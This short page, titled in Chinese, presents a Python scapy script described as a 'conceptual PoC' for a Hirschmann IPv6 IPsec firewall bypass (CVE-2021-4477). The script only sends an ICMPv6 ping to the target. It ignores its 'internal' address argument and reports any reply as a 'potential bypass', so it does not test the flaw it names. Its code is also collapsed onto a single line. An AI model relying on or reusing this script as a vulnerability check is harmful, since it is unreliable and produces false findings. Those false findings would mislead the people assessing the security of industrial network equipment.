CVE-2021-4477 Hirschmann IPv6 IPsec防火墙绕过漏洞

#!/usr/bin/env python3 # Conceptual PoC for CVE-2021-4477 # This script demonstrates the logic to test IPv6 IPsec firewall bypass. # Requires scapy: pip install scapy import sys from scapy.all import * def check_bypass(target_ip, internal_ip): """ Simulates sending traffic to check if firewall rules are bypassed. Note: Actual exploitation requires establishing an IPsec tunnel. """ print(f"[*] Target: {target_ip}") print(f"[*] Testing bypass to internal resource: {internal_ip}") # Craft an IPv6 packet. In a real scenario, this might be encapsulated # or crafted to exploit the specific logic flaw in the device. # Here we simulate a packet that should be blocked but isn't due to the bypass. pkt = IPv6(dst=target_ip) / ICMPv6EchoRequest(data="CVE-2021-4477 Test") # Send packet and wait for response resp = sr1(pkt, timeout=2, verbose=0) if resp: print("[+] Potential bypass detected! Response received.") print(f"[+] Response: {resp.summary()}") return True else: print("[-] No response. Traffic may be blocked or host unreachable.") return False if __name__ == "__main__": if len(sys.argv) < 3: print("Usage: python3 cve_2021_4477_poc.py <target_ipv6> <internal_ipv6>") sys.exit(1) target = sys.argv[1] internal = sys.argv[2] check_bypass(target, internal)